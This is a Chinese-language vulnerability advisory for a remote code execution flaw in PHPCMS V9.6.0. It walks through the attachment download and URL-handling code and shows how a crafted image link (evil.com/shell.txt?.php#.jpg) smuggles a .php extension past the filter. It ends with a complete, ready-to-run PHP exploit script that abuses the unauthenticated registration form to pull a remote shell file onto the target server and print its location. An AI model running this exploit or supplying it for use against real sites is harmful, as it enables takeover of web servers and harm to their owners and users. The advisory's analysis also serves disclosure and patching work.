- 发布时间:2016-09-01
- 公开时间:N/A
- 漏洞类型:代码执行
- 危害等级:高
- 漏洞编号:xianzhi-2016-09-43476938
- 测试版本:V9.6.0 20151225
漏洞详情
phpcms/libs/classes/attachment.class.php 行143
function download($field, $value,$watermark = '0',$ext = 'gif|jpg|jpeg|bmp|png', $absurl = '', $basehref = '')
{
global $image_d;
$this->att_db = pc_base::load_model('attachment_model');
$upload_url = pc_base::load_config('system','upload_url');
$this->field = $field;
$dir = date('Y/md/');
$uploadpath = $upload_url.$dir;
$uploaddir = $this->upload_root.$dir;
$string = new_stripslashes($value);
if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;
$remotefileurls = array();
foreach($matches[3] as $matche)
{
if(strpos($matche, '://') === false) continue;
dir_create($uploaddir);
$remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);
}
unset($matches, $string);
$remotefileurls = array_unique($remotefileurls);
$oldpath = $newpath = array();
foreach($remotefileurls as $k=>$file) {
if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue;
$filename = fileext($file);
$file_name = basename($file);
$filename = $this->getname($filename);
$newfile = $uploaddir.$filename;
$upload_func = $this->upload_func;
if($upload_func($file, $newfile)) {
$oldpath[] = $k;
$GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename;
@chmod($newfile, 0777);
$fileext = fileext($filename);
if($watermark){
watermark($newfile, $newfile,$this->siteid);
}
$filepath = $dir.$filename;
$downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext);
$aid = $this->add($downloadedfile);
$this->downloadedfiles[$aid] = $filepath;
}
}
return str_replace($oldpath, $newpath, $value);
}
函数的功能是从富文本中提取远程图片资源并保存在本地
if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;
使用这个正则来取图片资源的链接然后交给了 fillurl() 函数
fillurl($matche, $absurl, $basehref);
来看看这个 fillurl() 函数做了什么
function fillurl($surl, $absurl, $basehref = '') {
if($basehref != '') {
$preurl = strtolower(substr($surl,0,6));
if($preurl=='http://' || $preurl=='ftp://' ||$preurl=='mms://' || $preurl=='rtsp://' || $preurl=='thunde' || $preurl=='emule://'|| $preurl=='ed2k://')
return $surl;
else
return $basehref.'/'.$surl;
}
$i = 0;
$dstr = '';
$pstr = '';
$okurl = '';
$pathStep = 0;
$surl = trim($surl);
if($surl=='') return '';
$urls = @parse_url(SITE_URL);
$HomeUrl = $urls['host'];
$BaseUrlPath = $HomeUrl.$urls['path'];
$BaseUrlPath = preg_replace("/\/([^\/]*)\.(.*)$/",'/',$BaseUrlPath);
$BaseUrlPath = preg_replace("/\/$/",'',$BaseUrlPath);
$pos = strpos($surl,'#');
if($pos>0) $surl = substr($surl,0,$pos);
if($surl[0]=='/') {
$okurl = 'http://'.$HomeUrl.'/'.$surl;
} elseif($surl[0] == '.') {
if(strlen($surl)<=2) return '';
elseif($surl[0]=='/') {
$okurl = 'http://'.$BaseUrlPath.'/'.substr($surl,2,strlen($surl)-2);
} else {
$urls = explode('/',$surl);
foreach($urls as $u) {
if($u=="..") $pathStep++;
else if($i<count($urls)-1) $dstr .= $urls[$i].'/';
else $dstr .= $urls[$i];
$i++;
}
$urls = explode('/', $BaseUrlPath);
if(count($urls) <= $pathStep)
return '';
else {
$pstr = 'http://';
for($i=0;$i<count($urls)-$pathStep;$i++) {
$pstr .= $urls[$i].'/';
}
$okurl = $pstr.$dstr;
}
}
} else {
$preurl = strtolower(substr($surl,0,6));
if(strlen($surl)<7)
$okurl = 'http://'.$BaseUrlPath.'/'.$surl;
elseif($preurl=="http:/"||$preurl=='ftp://' ||$preurl=='mms://' || $preurl=="rtsp://" || $preurl=='thunde' || $preurl=='emule:'|| $preurl=='ed2k:/')
$okurl = $surl;
else
$okurl = 'http://'.$BaseUrlPath.'/'.$surl;
}
$preurl = strtolower(substr($okurl,0,6));
if($preurl=='ftp://' || $preurl=='mms://' || $preurl=='rtsp://' || $preurl=='thunde' || $preurl=='emule:'|| $preurl=='ed2k:/') {
return $okurl;
} else {
$okurl = preg_replace('/^(http:\/\/)/i','',$okurl);
$okurl = preg_replace('/\/{1,}/i','/',$okurl);
return 'http://'.$okurl;
}
}
里面有这么一段
$pos = strpos($surl,'#');
if($pos>0) $surl = substr($surl,0,$pos);
如果url中存在 # 符号,那么只截取url中 # 符号之前的内容
再来看看 download() 函数
$filename = fileext($file);
$file_name = basename($file);
$filename = $this->getname($filename);
$newfile = $uploaddir.$filename;
$upload_func = $this->upload_func;
if($upload_func($file, $newfile)) {
从处理完的链接中提取扩展名生成新文件名后保存到本地
可以看到这里并没有再次对扩展名进行验证
如果构造http://www.evil.com/shell.txt?.php#.jpg
这样的链接 就能使正则匹配成功 而又提取 .php 作为新文件的扩展名保存到本地 导致Getshell
来看看 download() 函数哪里被调用
caches\caches_model\caches_data\member_input.class.php
function get($data) {
$this->data = $data = trim_script($data);
$model_cache = getcache('member_model', 'commons');
$this->db->table_name = $this->db_pre.$model_cache[$this->modelid]['tablename'];
$info = array();
$debar_filed = array('catid','title','style','thumb','status','islink','description');
if(is_array($data)) {
foreach($data as $field=>$value) {
……省略……
$func = $this->fields[$field]['formtype'];
if(method_exists($this, $func)) $value = $this->$func($field, $value);
$info[$field] = $value;
}
}
return $info;
}
function editor($field, $value) {
$setting = string2array($this->fields[$field]['setting']);
$enablesaveimage = $setting['enablesaveimage'];
$site_setting = string2array($this->site_config['setting']);
$watermark_enable = intval($site_setting['watermark_enable']);
$value = $this->attachment->download('content', $value,$watermark_enable);
return $value;
}
根据 **modelid** 从cache中取出数据放到`this->fields`
$this->fields = getcache('model_field_'.$modelid,'model');
当$this->fields[$field]['formtype'] == 'editor'
时就会调用 editor() 从而执行 download() 函数
搜索全部cache文件 只有4个包含 'formtype' => 'editor'
分别是/caches/caches/model/caches_data/model_field_(1|2|3|11).cache.php
所以当 modelid=(1,2,3,11) 其中一个 且调用了 member_input 类中的 get() 方法来处理可控数据,就可以Getshell
漏洞利用
这里找了一个前台用不登录的地方 注册环节
phpcms/modules/member/index.php 行33
public function register() {
……略……
73: $userinfo['modelid'] = isset($_POST['modelid']) ? intval($_POST['modelid']) : 10;
……略……
119: $model_field_cache = getcache('model_field_'.$userinfo['modelid'],'model');
……略……
135: require_once CACHE_MODEL_PATH.'member_input.class.php';
require_once CACHE_MODEL_PATH.'member_update.class.php';
$member_input = new member_input($userinfo['modelid']);
$_POST['info'] = array_map('new_html_special_chars',$_POST['info']);
$user_model_info = $member_input->get($_POST['info']);
$modelid 来自 POST 随便1,2,3,11都行
后面调用了$member_input->get();
方法 而且参数是可控的 $_POST['info'] 条件都满足了
EXP
利用代码具有攻击性,请在本地环境进行测试!
请勿针对任何互联网站点使用本代码!
利用本代码造成的一切后果与本人无关!
<?php
print_r('
****************************************************
*
* Phpcms v9.6.0 Remote Code Execution Exp
* by SMLDHZ
* QQ:3298302054
* Usage: php '.basename(__FILE__).' url/path
* php '.basename(__FILE__).' http://192.168.1.1/
*
****************************************************
');
if($argc!=2){
exit;
}
$shellAddr = 'http://your.php.shell/x.txt';
$target = $argv[1];
$url = $target.'/index.php?m=member&c=index&a=register&siteid=1';
$payload = 'dosubmit=1&siteid=1&modelid=11&username=SMLDHZ'.time().
'&password=nidaye&pwdconfirm=nidaye&email=SMLDHZ'.time().
'%40dqdq.com&nickname=SMLDHZ'.time().
'&info[content]=<img src='.$shellAddr.'?.php#.jpg>';
echo "[+]Witness the miracle...\n";
$return =sendPayload($url,$payload);
if(preg_match('#img src=(.*?)\>#', $return, $match)){
echo "[+]shell: " . $match[1];
}else{
echo "[!]failed!\n".$return;
}
function sendPayload($url,$payload){
$ch = curl_init ();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
$return = curl_exec($ch);
curl_close($ch);
return $return;
}